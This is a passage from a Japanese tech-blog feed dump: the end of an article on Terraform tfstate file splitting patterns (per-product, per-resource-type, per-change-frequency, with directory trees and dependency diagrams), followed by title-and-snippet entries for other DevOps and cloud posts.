sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例:同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例:EKS、ECS、AppRunner、EC2) とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例:VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth (認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。https://www.reddit.com/r/Terraform/comments/126jwa1/comment/jea9bjk/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button▶ おすすめ度について【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか?)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Terraform in Action (English Edition)作者:Winkler, ScottManningAmazonTerraform: Up and Running: Writing Infrastructure as Code作者:Brikman, YevgeniyO\'Reilly MediaAmazon","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"スリーシェイクに入社しました!","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"Copilotでらくらくコードリーディング","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring Bootアプリケーションを立ち上げClou...","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"やさしいERC20開発","link":"https://speakerdeck.com/shukob/yasasiierc20kai-fa","contentSnippet":"https://cryptocurrency.connpass.com/event/287311/\\r\\rEthereumスマートコントラクトライブラリ「OpenZeppelin」を用いてERC20コントラクトをSepolia Testnetにデプロイし、基本的な操作を体験していただけます。\\r\\rRemixを使用し、OpenZeppelinを用いて基本的な送金、EOAへの委任と、\\rコントラクトへ委任し、ETHを送るとERC20が送金される自動販売機のようなスマートコントラクトの実装を行います。","isoDate":"2023-06-23T04:00:00.000Z","dateMiliSeconds":1687492800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"SRETT#6_Terraformのtfstateについて考える","link":"https://speakerdeck.com/masasuzu/srett-number-6-terraformnotfstatenituitekao-eru","contentSnippet":"","isoDate":"2023-06-22T04:00:00.000Z","dateMiliSeconds":1687406400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"アプリ開発者のための kubectl 講座","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで,開発者が必ずしも Kubernetes に詳しくない場合を想定し,開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し,開発者がある程度自立して操作できるようになることで,管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Terraform 静的検査ツール比較","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","link":"https://blog.1q77.com/2023/06/editcap/","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","link":"https://zenn.dev/toshikish/articles/be970407f02098","contentSnippet":"やりたいことGitHub Actions の reusable workflow で,作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory では,現時点ではコンテキストと式が許可されていません。したがって,入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"PandocのLuaフィルタからPandoc templateを呼べるpandoc.templateモジュールがとても便利","link":"https://blog.atusy.net/2023/06/12/pandoc-template-module/","contentSnippet":"Pandoc 3.0以降ではLuaフィルタで使えるモジュールにpandoc.templateが追加されました。これを使うとLuaフィルタ内でPandoc Templateを展開できます。","isoDate":"2023-06-12T00:00:00.000Z","dateMiliSeconds":1686528000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ビットコイン・ブロックチェーン入門","link":"https://speakerdeck.com/shukob/bitutokoinburotukutienru-men-40047fd3-985e-4c8f-b34b-1ea610be2535","contentSnippet":"https://cryptocurrency.connpass.com/event/286818/\\r初学者の方向けにビットコイン技術の全体像をお話ししました。","isoDate":"2023-06-10T04:00:00.000Z","dateMiliSeconds":1686369600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Go言語でNetlinkを少し触った話","link":"https://zenn.dev/bells17/articles/netlink-goexample","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample 